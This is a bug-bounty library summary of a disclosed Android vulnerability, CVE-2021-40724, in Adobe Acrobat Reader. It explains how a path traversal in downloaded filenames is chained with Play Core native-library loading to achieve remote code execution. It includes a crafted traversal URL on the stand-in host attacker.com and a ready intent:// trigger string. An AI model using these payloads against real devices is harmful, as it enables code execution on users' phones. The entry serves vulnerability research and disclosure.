# RCE In Adobe Acrobat Reader For Android(CVE-2021-40724)

Path traversal in Adobe Acrobat Reader for Android allowed writing arbitrary files, leading to RCE via malicious native library loaded by Play Core.

- Payout: $10,000
- Severity: high
- Program: Google, Adobe
- Credited: sunny
- Disclosed: 2022-01-14
- CVE: CVE-2021-40724
- Write-up quality: 8/10
- Original: https://hulkvision.github.io/blog/post1/
- Library page: https://bugbountylibrary.com/r/blog%3Ahulkvision-github-io-blog-post1
- Tags: domain:mobile impact:rce kind:bounty platform:blog sev:high tech:android technique:chained vuln:path-traversal vuln:rce

**Target:** Android app com.adobe.reader
**Root cause:** The app downloads PDFs from URLs and uses the URL's last path segment as the filename without sanitizing path traversal sequences (e.g., ../), allowing arbitrary file write within the app's private directory.
**Steps:**
1. Identify exported activity com.adobe.reader.AdobeReader with intent-filter accepting http/https URLs and MIME type application/pdf.
2. Craft a URL with encoded path traversal in the last segment, e.g., `http://attacker.com/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so`.
3. Host a malicious native library (libopencv_info.so) at that URL.
4. Trigger the download via an intent from a web page: `intent://attacker.com/.../libopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end`.
5. The app downloads the file to the path specified by the traversal, writing the malicious .so into the Play Core native-libraries directory.
6. On next launch, when the Fill & Sign feature loads the FASOpenCVDF module, the malicious libopencv_info.so is loaded, executing the attacker's code (e.g., reverse shell).
**How found:** Noticed the app accepts http/https URLs for PDFs and downloads them using the URL's last path segment as filename. Suspected lack of sanitization and tested path traversal. Then observed Play Core's splitcompat directory and native-libraries loading mechanism, leading to RCE.
**Exploitation:** Attacker hosts a malicious native library and a web page that triggers an intent to Adobe Reader. The app downloads the file to an arbitrary path within its private directory due to path traversal, placing the .so in the Play Core native-libraries directory. When the app later loads the FASOpenCVDF module, the malicious library is loaded, achieving code execution.
**Escalation:** Chained path traversal with Play Core's dynamic native library loading to escalate from arbitrary file write to remote code execution.
**Insight:** Check apps using Play Core for dynamic code loading; the splitcompat directory and native-libraries subdirectories are writable via path traversal if file downloads use unsanitized filenames. Also, look for missing native libraries that the app tries to load, as they can be replaced.